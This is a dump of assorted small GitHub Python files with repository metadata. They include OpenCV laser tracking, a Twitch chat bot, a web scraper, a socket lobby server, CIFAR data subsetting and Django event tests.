0:\n\t\tsrc[:,:,2] = 0 #elimina o vermelho\n\tif g == 0:\n\t\tsrc[:,:,1] = 0 #elimina o verde\n\tif b == 0:\n\t\tsrc[:,:,0] = 0 #elimina o azul \n\ncap = cv2.VideoCapture('laser5.3gp')\n\ncont=0\nwhile(cap.isOpened()):\n ret, frame = cap.read()\n #===================ajustar tamanho da imagem===================\n \n scale_percent = 60 # percent of original size\n # resize image\n frame = cv2.resize(frame, (int(frame.shape[1] * scale_percent / 100), int(frame.shape[0] * scale_percent / 100)), interpolation = cv2.INTER_AREA)\n #===================================================================\n\n #ret,thresh1 = cv2.threshold(frame,252,255,cv2.THRESH_BINARY)\n\n b,g,r = cv2.split(frame)\n\n minRed = np.array(254)\n maxRed = np.array(255)\n\n maskRed = cv2.inRange(r, minRed, maxRed)\n resize = cv2.bitwise_and(r, r, mask = maskRed)\n\n\n #filtroRGB -> retira verde e azul da imagem\n #filtroRGB(thresh1,1,0,0)\n #kernel = np.ones((5,5),np.uint8)\n #erosion = cv2.erode(thresh1,kernel,iterations = 7)\n #gray -> escala de cinza\n #gray = cv2.cvtColor(resize, cv2.COLOR_BGR2GRAY)\n \n # calculate moments of binary image\n Momento = cv2.moments(resize)\n #calculate x,y coordinate of center\n if (Momento[\"m00\"])!=0:\n cX = int(Momento[\"m10\"] / Momento[\"m00\"])\n cY = int(Momento[\"m01\"] / Momento[\"m00\"])\n cv2.putText(frame, \"centroid\", (cX - 25, cY - 25),cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2)\n cv2.putText(frame, str(cX)+\"/\"+str(cY),(100, 100),cv2.FONT_HERSHEY_SIMPLEX,0.8,(255, 255, 255),2)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n\n cv2.imshow('frame',frame)\n \n #print (cX, cY)\ncap.release()\ncv2.destroyAllWindows()","repo_name":"jalersamuelzago/Laser_Detection_openCV","sub_path":"openCV.py","file_name":"openCV.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40035855489","text":"import time\nstart=time.time()\nfrom functools import Iru_cache\n@iru_cache(maxsize=None)\ndef fact(n):\n if n<2:\n return 1\n elif n>=2:\n return n*fact(n-1)\n\nfor i in range(i, 5000):\n print(f\"{i}!= \",fact(i))\nend=time.time()\nprint(\"Total_time: \",{end-start})\n","repo_name":"bilalhameed248/Data-Science","sub_path":"codeforces/fact_memo_uc.py","file_name":"fact_memo_uc.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37286349857","text":"import requests\nimport app.constants\nfrom bs4 import BeautifulSoup\n\n\nclass Offer:\n name: str = ''\n price: float = ''\n loyaltyLenght: int = ''\n priceFeatures: str = ''\n dataPacket: str = ''\n sms: str = ''\n calls: str = ''\n operatorName: str = ''\n\n\ndef fetch_offers():\n urls = requests.get(app.constants.BASE_URL)\n raw_soup = BeautifulSoup(urls.text, features=\"html.parser\")\n #
\n datas = raw_soup.find_all(\"div\", {\"class\": \"offer-data\"})\n return [collect_data(data) for data in datas]\n\n\ndef collect_data(data) -> Offer:\n offer = Offer()\n offer.operatorName = \"PLAY\"\n offer.name = data.find(\"span\", {\"class\": \"sr-only\"}).text\n offer.price = data.find(\"span\", {\"class\": \"price\"}).text.replace(\"\\n\",\"\")\n offer.loyaltyLenght = \"24 miesiące\"\n properties = data.find_all(\"li\", {\"class\": \"offer-property\"})\n for prop in properties:\n arg = prop.find(\"p\", {\"class\": \"property-header\"})\n field = arg.find(\"span\", {\"class\": \"property-name\"}).text\n if \"SMS\" in field:\n offer.sms += f'{field} '\n offer.sms += prop.find(\"span\", {\"class\": \"tooltip-content\"}).text.replace(\"\\n\", \"\")\n elif \"rozmo\" in field:\n offer.calls += f'{field} '\n offer.calls += prop.find(\"span\", {\"class\": \"tooltip-content\"}).text.replace(\"\\n\", \"\")\n elif \"internet\" in field:\n offer.dataPacket += f'{field} '\n offer.dataPacket += prop.find(\"span\", {\"class\": \"tooltip-content\"}).text.replace(\"\\n\", \"\")\n else:\n offer.priceFeatures += f'{field} '\n offer.priceFeatures += prop.find(\"span\", {\"class\": \"tooltip-content\"}).text.replace(\"\\n\", \"\")\n if offer.calls is '':\n offer.calls = offer.sms\n return offer.__dict__\n\n","repo_name":"Sir3nka/play_scrapper","sub_path":"play_scrapper/app/play_scrapper.py","file_name":"play_scrapper.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18611450021","text":"# vim: syntax=python:ts=3:sw=3\n\nimport sys\nimport imp\nimport os\nimport os.path\n\nimport golem.util.main_qgraf\nfrom golem.util.path import golem_path\nfrom golem.util.tools import debug, message, warning, getModel\n\ndef convert_to_digits(number, digits):\n\tv = abs(number)\n\tr = len(digits)\n\n\tif r <= 1:\n\t\treturn str(number)\n\n\tresult = \"\"\n\n\twhile v > 0:\n\t\tresult = digits[v % r] + result\n\t\tv = v // r\n\n\tif number < 0:\n\t\tresult = \"-\" + result\n\t\n\tif len(result) == \"\":\n\t\tresult = digits[0]\n\n\treturn result\n\ndef pyxodraw(*args, **opts):\n\tif \"conf\" in opts:\n\t\tconf = opts[\"conf\"]\n\telse:\n\t\tconf = None\n\n\tfor arg in args:\n\t\targ_path = os.path.dirname(os.path.abspath(arg))\n\t\tif arg_path not in sys.path:\n\t\t\tsys.path.append(arg_path)\n\n\t\tshort_name = os.path.split(arg)[-1]\n\t\tbase_name = short_name[:short_name.rindex(\".\")]\n\t\tdebug(\"Pyxodraw is trying to load module %r\" % base_name,\n\t\t\t\t\"from directory: %r\" % arg_path)\n\t\tmod = imp.load_source(base_name, arg)\n\n\t\tmodel_name = mod.__model_name__\n\t\tdiagrams = {}\n\t\tmod.get_diagrams(diagrams)\n\n\t\tif conf is None:\n\t\t\tmodel_mod = imp.load_source(model_name,\n\t\t\t\tos.path.join(arg_path, \"%s.py\" % golem.util.main_qgraf.MODEL_LOCAL))\n\t\telse:\n\t\t\tmodel_mod = getModel(conf, arg_path)\n\n\t\tlatex_names = model_mod.latex_names\n\n\t\tf = open(os.path.join(arg_path, base_name + \".tex\"), 'w')\n\n\t\topts = {\n\t\t\t\t'gdashsize': 3,\n\t\t\t\t'sdashsize': 5,\n\t\t\t\t'gamplitude': 3,\n\t\t\t\t'windings': 0.2,\n\t\t\t\t'pamplitude': 3,\n\t\t\t\t'wiggles': 0.2,\n\t\t\t\t'vsize': 3,\n\n\t\t\t\t'height': 100,\n\t\t\t\t'width': 120\n\t\t\t}\n\n\t\tBOUNDARY=\"NEXT DIAGRAM\"\n\n\t\tf.write(\"Diagrams generated by PyxoDraw\\n\\n\")\n\t\tf.write(\"You will need the LaTeX package AxoDraw for drawing.\\n\")\n\t\tf.write(\"\\n\\nboundary=%s\\n\\n\" % BOUNDARY)\n\t\tfor idx, diag in list(diagrams.items()):\n\t\t\tf.write(\"--%s name=diagram%d\\n\" % (BOUNDARY, idx))\n\t\t\tf.write(\"%% Diagram %d:\\n\" % idx)\n\n\t\t\tdiag.layout(**opts)\n\t\t\tdiag.draw(f, lookup = model_mod.line_styles,\n\t\t\t\t\tlatex = latex_names, **opts)\n\t\tf.write(\"--%s--\\n\" % BOUNDARY)\n\t\tf.close()\n\n\nif __name__ == \"__main__\":\n\tprint(\"This is PyxoDraw\")\n\tpyxodraw(*sys.argv[1:])\n","repo_name":"gudrunhe/gosam","sub_path":"src/python/golem/pyxo/pyxodraw.py","file_name":"pyxodraw.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"8604615049","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n## A Horrible Bot written by EndlessTundra to help you speedrun ##\n\nimport socket\nimport string\nimport random\nfrom Config import SERVER, PORT, OAUTH, BOTNAME, CHANNEL, ENTRANCE, ANTIKAPPA\nreadbuffer = \"\"\n\n\ndef connect_to_twitch():\n s = socket.socket()\n s.connect((SERVER, PORT))\n s.send(\"PASS \" + OAUTH + \"\\r\\n\")\n s.send(\"IDENT \" + BOTNAME + \"\\r\\n\")\n s.send(\"NICK \" + BOTNAME + \"\\r\\n\")\n s.send(\"JOIN #\" + CHANNEL + \"\\r\\n\")\n return s\n\ndef joinRoom(s):\n readbuffer = \"\"\n Loading = True\n while Loading:\n readbuffer = readbuffer + s.recv(2040)\n temp = string.split(readbuffer, \"\\n\")\n readbuffer = temp.pop()\n\n for line in temp:\n print(line)\n Loading = loadingComplete(line)\n\n sendMessage(s, ENTRANCE)\n\ndef loadingComplete(line):\n if(\"End of /NAMES list\" in line):\n return False\n else:\n return True\n\n\ndef sendMessage(s, message):\n messageTemp = \"PRIVMSG #\" + CHANNEL + \" :\" + message\n s.send(messageTemp + \"\\r\\n\")\n print(\"Sent: \" + messageTemp)\n\ndef getUser(line):\n seperate = line.split(\":\", 2)\n user = seperate[1].split(\"!\", 1)[0]\n return user\n\ndef getMessage(line):\n seperate = line.split(\":\", 2)\n message = seperate[2]\n return message\n\n\n\ns = connect_to_twitch()\n\njoinRoom(s)\n\n\nwhile True:\n readbuffer = readbuffer + s.recv(2040)\n temp = string.split(readbuffer, \"\\n\")\n readbuffer = temp.pop()\n\n for line in temp:\n if \"PING\" in line:\n #print \"Found PING\"\n #print(line)\n s.send('PONG %s\\r\\n' % line.split()[1])\n\n else:\n #print(line)\n user = getUser(line)\n message = getMessage(line)\n\n #print(message)\n\n if \"!help\" in message:\n sendMessage(s, \"CoachBot Commands: \\\"!coach, !congrats, !romance, !addcoach TEXT, !addcongrats TEXT, !addromance TEXT\\\"\")\n\n if \"!uptime\" in message:\n sendMessage(s, \"Link has been failing for a long time at this point.\")\n\n if \"Kappa\" in message:\n if ANTIKAPPA == \"yes\":\n sendMessage(s, \"Don't lie \" + user + \", you meant it and you know it!\")\n\n if \"!coach\" in message:\n random_coach_encouragement = random.choice(open(\"Coaching.txt\").readlines())\n sendMessage(s, random_coach_encouragement)\n\n if \"!congrats\" in message:\n random_congrats = random.choice(open(\"Congrats.txt\").readlines())\n sendMessage(s, random_congrats)\n\n if \"!romance\" in message:\n random_romance = random.choice(open(\"Romance.txt\").readlines())\n sendMessage(s, random_romance)\n\n if \"!gameover\" in message:\n sendMessage(s, \"Everything was going great until I decided to suck.\")\n\n if \"!addcoach\" in message:\n new_coach = message[10:]\n f = open(\"Coaching.txt\",\"a+\")\n f.write(new_coach + \"\\r\\n\")\n f.close()\n sendMessage(s, \"CoachBot has learned new ways of encouraging our youth!\")\n\n if \"!addcongrats\" in message:\n new_congrats = message[13:]\n f = open(\"Congrats.txt\",\"a+\")\n f.write(new_congrats + \"\\r\\n\")\n f.close()\n sendMessage(s, \"CoachBot has learned a new way to be snide!\")\n\n if \"!addromance\" in message:\n new_romance = message[12:]\n f = open(\"Romance.txt\",\"a+\")\n f.write(new_romance + \"\\r\\n\")\n f.close()\n sendMessage(s, \"CoachBot has learned more about love!\")\n\n if \"!COMMAND_NAME\" in message:\n random_COMMAND_NAME = random.choice(open(\"FILENAME\").readlines())\n sendMessage(s, random_COMMAND_NAME)","repo_name":"EndlessTundra/Coach_Bot","sub_path":"CoachBot.py","file_name":"CoachBot.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35262939999","text":"import nltk\n\nSynonym = [['man', 'person', 'guy', 'male', 'palyer'],\n ['boy','kid', 'child'],\n ['girl','kid','child'],\n ['catcher', 'player', 'guy', 'person'],\n ['woman', 'person', 'guy', 'female', 'lady'],\n ['slider', 'skier', 'person', 'guy'],\n ['center', 'middle','mid', 'central', 'centre'],\n ['shirt','tshirt','Tshirt','t-shirt','T-shirt','teeshirt'],\n ['talking','speaking'],\n ['taxi', 'cab', 'car', 'trunk', 'vehicle'],\n ['desk', 'table', 'deck'],\n ['room', 'bedroom'],\n ['blue', 'bluish'],\n ['yellow', 'yellowish'],\n ['green', 'greenish'],\n ['black', 'dark', 'darker'],\n ['grey','gray'],\n ['brown','brownish'],\n ['laptop','computer'],\n ['bike', 'bicycle', 'motorcycle'],\n ['big', 'large','huge'],\n ['small', 'little', 'tiny'],\n ['first', '1st'],\n ['second', '2nd'],\n ['third', '3rd'],\n ['forth', '4th'],\n ['giraffe', 'giraffa', 'giraffee'],\n ['glass', ' cup'],\n ['donut', 'doughnut'],\n ['umpire', 'ump']\n]\n\nclass Simulator(object):\n # the REUer simulator\n def __init__(self):\n self.synonym = Synonym\n\n def respond(self, re_entities, context):\n ans = 'cannot locate the object'\n max_match_num = 0\n for re_entity in re_entities:\n re_entity, remove_list_len = self.compare(re_entity.copy(), context)\n if max_match_num < remove_list_len:\n max_match_num = remove_list_len\n if re_entity == []:\n ans = 'locate the object'\n break\n return ans, max_match_num\n\n def compare(self, entities, context):\n remove_list = []\n for keyword in entities:\n for sent in context:\n if self.find_synonym(keyword, sent):\n if keyword not in remove_list:\n remove_list.append(keyword)\n for word in remove_list:\n entities.remove(word)\n return entities, len(remove_list)\n\n def find_synonym(self, keyword, sent):\n sent_token = nltk.tokenize.word_tokenize(sent)\n for word in sent_token:\n if word == keyword:\n return True\n else:\n for syn_word_list in self.synonym:\n if keyword in syn_word_list and word in syn_word_list:\n return True\n else:\n return False","repo_name":"llxuan/ReferWhat","sub_path":"code/evaluation/Simulator.py","file_name":"Simulator.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"18549378271","text":"import shutil\nimport os\nfrom glob import glob\nimport cv2\n\ndirs = {ord('1'): 'image_with_number',\n ord('2'): 'image_with_weight',\n ord('3'): 'image_without_number'}\nbase_dir = 'images'\n\ndef move_img(num, img_name):\n move_dir = dirs[num]\n shutil.copy(os.path.join(base_dir, img_name), os.path.join(move_dir, img_name))\n print(f'move {img_name} to the {move_dir}')\n\ndone_imgs = open('done.txt', 'a+')\nos.chdir('/data/CWT_Weights')\ndone_imgs.seek(0)\ndone_img_list = [name.strip() for name in done_imgs.readlines()]\nprint(done_img_list)\n\nfor i, im in enumerate(glob('images/*')):\n img_name = os.path.basename(im)\n if img_name in done_img_list:\n continue\n print(i, img_name)\n img = cv2.imread(im, cv2.IMREAD_COLOR)\n img = cv2.resize(img, (img.shape[0]//4, img.shape[1]//4))\n cv2.imshow('Time', img)\n k = cv2.waitKey(0)\n cv2.destroyAllWindows()\n move_img(k, img_name)\n done_imgs.write('%s\\n' % img_name)\n","repo_name":"jun4879/cbnu_21_2_vision","sub_path":"컴퓨터비전 중간 프로젝트 작성 코드/OCR데이터셋/dataset/preprocess/move_data.py","file_name":"move_data.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42337588814","text":"import torch\nimport torchvision.datasets as datasets\nimport torchvision.transforms as transforms\n\n\ndef get_data(size=\"all\",model = True):\n\n if model:\n transform = transforms.Compose([transforms.RandomHorizontalFlip(p=0.3),transforms.RandomVerticalFlip(p=0.3),transforms.ToTensor(),transforms.Normalize((0.4914, 0.4822, 0.4465),(0.247, 0.243, 0.261))])\n else:\n transform = transforms.Compose([transforms.RandomHorizontalFlip(p=0.3),transforms.RandomVerticalFlip(p=0.3),transforms.ToTensor()])\n trainset = datasets.CIFAR10('./data', train=True, download=True, transform=transform)\n testset = datasets.CIFAR10('./data', train=False, download=True, transform=transform)\n\t\n def subsetting(dt,m):\n # Subset the dataset 'dt' such that it has 'm' images for each class\n indc=[]\n count=0\n sum = 0\n actual_size = m*10\n # Inintialize each class has 0 images\n cls = {0:0,1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0,9:0}\n for k in dt:\n if sum <= actual_size:\n datas,lb= k\n # For every image increment label 'lb' count in 'cls'\n cls[lb]=cls.get(lb)+1\n if cls[lb]<=m:\n # If the count of label 'lb' is is less than 'm' then append indices of the image into the list\n indc.append(count)\n sum = sum + 1\n count = count+1\n #print(\"Data subset done\")\n # Subset the data 'dt' containing only indices present in list 'indc'\n fdt = torch.utils.data.Subset(dt,indc)\n return fdt\n \n\t\n if size == \"medium\":\n trainset = subsetting(trainset,2500)\n testset = subsetting(testset,500)\n elif size == \"small\":\n trainset = subsetting(trainset,1500)\n testset = subsetting(testset,300)\n\t\t\n return trainset,testset\n\n","repo_name":"SyedIkram/Defence-Mechanisms-Against-One-Pixel-Attack","sub_path":"data/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37337653537","text":"# -*- coding: UTF-8 -*-\n\n#topic en2ch dict\n# topic_en2ch_dict = {'art':u'文体类_娱乐','computer':u'科技类','economic':u'经济类', \\\n# 'education':u'教育类','environment':u'民生类_环保', 'medicine':u'民生类_健康',\\\n# 'military':u'军事类','politics':u'政治类_外交','sports':u'文体类_体育',\\\n# 'traffic':u'民生类_交通','life':u'其他类','anti-corruption':u'政治类_反腐',\\\n# 'employment':u'民生类_就业','fear-of-violence':u'政治类_暴恐',\\\n# 'house':u'民生类_住房','law':u'民生类_法律','peace':u'政治类_地区和平',\\\n# 'religion':u'政治类_宗教','social-security':u'民生类_社会保障'}\n\ntopic_en2ch_dict = {'art':u'娱乐类','computer':u'科技类','economic':u'经济类', \\\n 'education':u'教育类','environment':u'自然类', 'medicine':u'健康类',\\\n 'military':u'军事类','politics':u'政治类','sports':u'体育类',\\\n 'traffic':u'交通类','social':u'民生类','life':u'生活类'}\n\ntopic_ch2en_dict = {u'娱乐类': 'art', u'科技类':'computer', u'经济类':'economic', \\\n u'教育类':'education', u'自然类': 'environment', u'健康类':'medicine',\\\n u'军事类': 'military', u'政治类':'politics', u'体育类':'sports',\\\n u'交通类':'traffic', u'民生类':'social',u'生活类':'life'}\n\n#activeness weight dict used by evaluate_index.py\nactiveness_weight_dict = {'activity_time':0.3, 'activity_geo':0.2, 'statusnum':0.5}\n#importance weight dict\nimportance_weight_dict = {'fansnum':0.2, 'domain':0.5, 'topic':0.3}\n#topic weight dict\n'''\ntopic_weight_dict = {'政治':0.3, '军事':0.15, '社会':0.15, '环境':0.05, \\\n '医药':0.05, '经济':0.05, '交通':0.05, '教育':0.05, \\\n '计算机':0.05, '艺术':0.05, '体育':0.05}\n'''\n\ntopic_weight_dict = {'娱乐类':0.8,'科技类':0.5,'经济类':0.5,'教育类':0.4, \\\n '自然类':0.3, '健康类':0.7,'军事类':0.4,\\\n '政治类':0.5,'体育类':0.6,'交通类':0.3,\\\n '民生类':0.8,'生活类':0.3}\n\n\n#domain en2ch dict\ndomain_en2ch_dict = {'university':u'高校', 'homeadmin':u'境内机构', 'abroadadmin':u'境外机构', \\\n 'homemedia':u'媒体', 'abroadmedia':u'境外媒体', 'folkorg':u'民间组织',\\\n 'lawyer':u'法律机构及人士', 'politician':u'政府机构及人士', 'mediaworker':u'媒体人士',\\\n 'activer':u'活跃人士', 'grassroot':u'草根', 'other':u'其他', 'business':u'商业人士'}\n\n#domain weight dict\ndomain_weight_dict = {'高校':0.8, '境内机构':0.6, '境外机构':1, '媒体':1, \\\n '境外媒体':1, '民间组织':0.8,'法律机构及人士':1, '政府机构及人士':0.8,\\\n '媒体人士':0.8, '活跃人士':0.6, '草根':0.6, '其他':0.5, '商业人士':0.6}\n","repo_name":"NoahChanInvictus/ruman","sub_path":"ruman/cron/text_attribute/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3061,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"32633083024","text":"# ## if else condition\n#\n# print(\"Welcome to the Roller Coster\")\n# print(\"---------------\"*2)\n# height = int(input(\"Enter Your Highet in cm: \"))\n#\n# if height>=120:\n# print(\"You can Ride\")\n#\n# else:\n# print(\"You can't ride\")\n\n\n######## ODD or EVEN challenge with modulo. In python Modulo means % \n\nnumber = int(input(\"Enter a number to check: \"))\n\nif number%2==0:\n print(\"The number is EVEN\")\nelse:\n print(\"The number is ODD\")","repo_name":"mdnhasan/Python100DaysCode","sub_path":"venv/Day3/day3.1.py","file_name":"day3.1.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70740468053","text":"from __future__ import division \nimport numpy as np\n\n## function that creates tail domain for cartoon ## \n\nm = 2\nN = 500\nt = np.linspace(-10,10,N) \ntail = np.zeros((N,2))\ntail[:,0] = -np.cos(t)+1\ntail[:,1] = np.sin(t)*np.sin(0.5*t)**m\n\nwith open(\"tail.py\", \"w\") as f:\n f.write(\"from numpy import array \\n\")\n f.write(\"array= %s\" %repr(tail))\n\nprint('All done!')\n","repo_name":"elliotc12/dynein_walk","sub_path":"scripts/dynein/draw/tailDomain.py","file_name":"tailDomain.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"35284091395","text":"#ローカル用\n\n\nimport logging\nimport os\nimport json\nimport random\nimport psycopg2\n\nimport socket\nimport threading\n\nfrom bottle import route, run\nfrom LobbyBase import LobbyBase\n\n# from LobbyBase import LobbyBase\n\n# bind_ip = \"127.0.0.1\" #お使いのサーバーのホスト名を入れます\n# bind_port = 12345 #クライアントで設定したPORTと同じもの指定してあげます\n\nbind_ip = \"0.0.0.0\" #お使いのサーバーのホスト名を入れます\nbind_port = int(os.getenv(\"PORT\", 5000)) \n\nLobby = LobbyBase(16)\n\ndef CreateServer():\n with socket.create_server((bind_ip,bind_port), family=socket.AF_INET, dualstack_ipv6=False) as server:\n # create socket object\n # server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n # server = socket.create_server((bind_ip,bind_port), family=socket.AF_INET6, dualstack_ipv6=True)\n # bind ip + port as a server \n # server.bind((bind_ip, bind_port))\n # listen with maximum 5 waiting queues\n server.listen(5) ### server while loop\n print (\"Listening on %s: %d\" % (bind_ip, bind_port))\n while True:\n # event: a conncetion from client\n client, addr = server.accept()\n print (\"Accepted connection from %s: %d\" % (addr[0], addr[1]))\n #接続してきたやつの受信待機用に個別にスレッドを作成\n message = threading.Thread(target=on_message, args=(client,addr,))\n message.start()\n\n# thread processing a task from clients\ndef on_message(client_socket,addr):\n while True:\n try:\n request = client_socket.recv(1024)\n # 切断された\n if len(request) == 0:\n break\n # print data (max buffer size 1024) sent from client\n print (\"Received: %s\" % request)\n print(client_socket.proto)\n # send a message \"Ack\" to client\n # client_socket.send(\"Ack!, connecting..\".encode('utf_8'))\n\n data = json.loads(request)\n\n print(data['state'])\n print(data)\n\n if data['state'] == 'Init':\n sendData = InitMessage(data)\n elif data['state'] == 'Login':\n Lobby.Login(client_socket,addr[0],addr[1],data)\n elif data['state'] == 'MemberList':\n Lobby.LobbyMemberList(client_socket,data)\n elif data['state'] == 'OpenChat':\n Lobby.OpenChat(client_socket,data)\n elif data['state'] == 'DirectChat':\n Lobby.DirectChat(client_socket,data) \n except socket.error:\n print(\"Lost\")\n break\n except ConnectionResetError:\n print(\"close conenection\")\n break\n except json.decoder.JSONDecodeError:\n print(\"not json\")\n continue\n except Exception as e:\n print(e)\n continue\n # client_socket.close()\n\n@route('/')\ndef hello():\n print(\"hello\")\n return \"\"\n\n# Main\nif __name__ == \"__main__\":\n CreateServer()","repo_name":"nagaoyosuke/FallFightServer","sub_path":"LocalServer2.py","file_name":"LocalServer2.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6526974720","text":"# -*- coding: utf-8 -*-\nimport os\n\nfrom django.apps import apps\nfrom django.conf import settings\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.core.exceptions import ValidationError, ObjectDoesNotExist\nfrom django.db import models\nfrom django.test import TestCase, TransactionTestCase, override_settings\nfrom django.test.client import Client\nfrom django.contrib.auth.models import Group, User\n\nfrom oncondition.events import Event, event_model, event_waiting_model\nfrom oncondition.tasks import handle_timed_events\n\nfrom djangodirtyfield.mixin import changed\nfrom .models import Person\n\nimport logging\nlogging.basicConfig(level=logging.DEBUG)\n\nclass BaseSuite(TransactionTestCase):\n pass\n\nMAILS = []\nLOGS = []\nCONDITIONS_PROCESSED = []\nSUCCESS = None\n\nclass LoggingEvent(Event):\n def success(self, instance, ctxs):\n global CONDITIONS_PROCESSED, SUCCESS\n CONDITIONS_PROCESSED = dict(ctxs)\n SUCCESS = True\n super(LoggingEvent, self).success(instance=instance, ctxs=ctxs)\n\n def failure(self, instance, ctxs):\n global CONDITIONS_PROCESSED, SUCCESS\n CONDITIONS_PROCESSED = dict(ctxs)\n SUCCESS = False\n super(LoggingEvent, self).failure(instance=instance, ctxs=ctxs)\n\n def mail(self, subject, body, to):\n MAILS.append([subject, body, to])\n\n def log(self, event):\n LOGS.append(event)\n\n def action(self, instance, context):\n self.mail(subject='Hello', body=\"body\", to=self.recipients())\n self.log(\"Event\")\n\nclass SampleEvent(LoggingEvent):\n def condition(self, instance, changes):\n return True\n\n def action(self, instance, context):\n self.mail(subject='Hello World', body=\"body\", to=self.recipients())\n self.log(\"Sample Event\")\n\nclass SampleTimedEvent(LoggingEvent):\n\n def time_condition_failure(self, instance, context, name=\"user-time-created\", conditions=None):\n super(SampleTimedEvent, self).time_condition_failure(instance=instance, context=context, name=name, conditions=conditions)\n\n def time_condition(self, instance, changes):\n return False\n\n def condition(self, instance, changes):\n return True\n\n def action(self, instance, context):\n self.mail(subject='Hello Again', body=\"body\", to=self.recipients())\n self.log(\"Timed Event\")\n\nclass SampleTimedWithConditionsEvent(SampleTimedEvent):\n \"\"\" An Event where time_condition_failure sets up different conditions \"\"\"\n def conditions(self):\n return ['condition','blocker_condition', 'time_condition',]\n\n def blocker_condition(self, instance, changes):\n return False\n\n def time_condition(self, instance, changes):\n return False\n\n def time_condition_failure(self, instance, context, name=\"user-time-created-blocker\", conditions=\"condition, time_condition\"):\n super(SampleTimedWithConditionsEvent, self).time_condition_failure(instance=instance,\n context=context,\n name=name,\n conditions=conditions)\n\nclass SampleMultiConditionsEvent(LoggingEvent):\n def conditions(self):\n return ['condition', 'time_condition', 'weather_condition', 'moon_phase_condition',]\n\n def condition(self, instance, changes):\n return True\n\n def time_condition(self, instance, changes):\n return True\n\n def weather_condition(self, instance, changes):\n return True\n\n def moon_phase_condition(self, instance, changes):\n return True\n\nclass SampleMultiConditionsOneFalseEvent(SampleMultiConditionsEvent):\n def weather_condition(self, instance, changes):\n return False\n\nclass DirtyEvent(LoggingEvent):\n def condition(self, instance, changes):\n return changed(changes, 'username')\n\n def action(self, instance, context):\n self.log(\"Username changed\")\n\nclass EventTest(BaseSuite):\n def tearDown(self):\n global MAILS, LOGS, CONDITIONS_PROCESSED\n MAILS = []\n LOGS = []\n CONDITIONS_PROCESSED = []\n SUCCESS = None\n\n def test_form_fills_event(self):\n ev = event_model()\n ev.objects.get_or_create(name=\"user-created\", cls=\"test.test_events.SampleEvent\",model=\"auth.User\")\n user = User.objects.create(first_name=\"F\", last_name=\"L\")\n self.assertEqual(len(MAILS), 1)\n self.assertEqual(LOGS[0], \"Sample Event\")\n\n def test_timed_event(self):\n ev = event_model()\n name = \"user-time-created\"\n ev.objects.get_or_create(name=name, cls=\"test.test_events.SampleTimedEvent\", model=\"auth.User\")\n self.assertEqual(len(LOGS), 0)\n user = User.objects.create(first_name=\"F\", last_name=\"L\")\n\n self.assertEqual(event_waiting_model().objects.filter(processed=False).count(), 1)\n self.assertEqual(ev.objects.get(name=name).waitings.count(), 1)\n self.assertEqual(len(LOGS), 0)\n\n def time_condition(self, instance, changes):\n return True\n orig_time_condition = SampleTimedEvent.time_condition\n SampleTimedEvent.time_condition = time_condition\n\n user.save()\n\n self.assertEqual(MAILS[0][0], \"Hello Again\")\n self.assertEqual(LOGS[0], \"Timed Event\")\n self.assertEqual(event_waiting_model().objects.filter(processed=False).count(), 0)\n self.assertEqual(ev.objects.get(name=name).waitings.count(), 1)\n self.assertEqual(list(ev.objects.get(name=name).waitings.filter(processed=False)), [])\n\n SampleTimedEvent.time_condition = orig_time_condition\n\n def test_timed_event_conditions(self):\n ev = event_model()\n name = \"user-time-created-blocker\"\n ev.objects.get_or_create(name=name, cls=\"test.test_events.SampleTimedWithConditionsEvent\", model=\"auth.User\")\n self.assertEqual(len(LOGS), 0)\n user = User.objects.create(first_name=\"F\", last_name=\"L\")\n\n self.assertEqual(event_waiting_model().objects.filter(processed=False).count(), 1)\n self.assertEqual(ev.objects.get(name=name).waitings.count(), 1)\n self.assertEqual(len(LOGS), 0)\n\n def time_condition(self, instance, changes):\n return True\n orig_time_condition = SampleTimedEvent.time_condition\n SampleTimedWithConditionsEvent.time_condition = time_condition\n\n # request doesnt processed Waiting's\n user.save()\n\n self.assertEqual(len(LOGS), 0)\n self.assertEqual(event_waiting_model().objects.filter(processed=False).count(), 1)\n\n # process Waitings'\n handle_timed_events.delay()\n\n self.assertEqual(len(LOGS), 1)\n self.assertEqual(event_waiting_model().objects.filter(processed=False).count(), 0)\n\n SampleTimedWithConditionsEvent.time_condition = orig_time_condition\n\n def test_timed_event_via_task(self):\n self.assertEqual(event_waiting_model().objects.all().count(), 0)\n ev = event_model()\n name = \"user-time-created\"\n ev.objects.get_or_create(name=name, cls=\"test.test_events.SampleTimedEvent\", model=\"auth.User\")\n self.assertEqual(len(LOGS), 0)\n user = 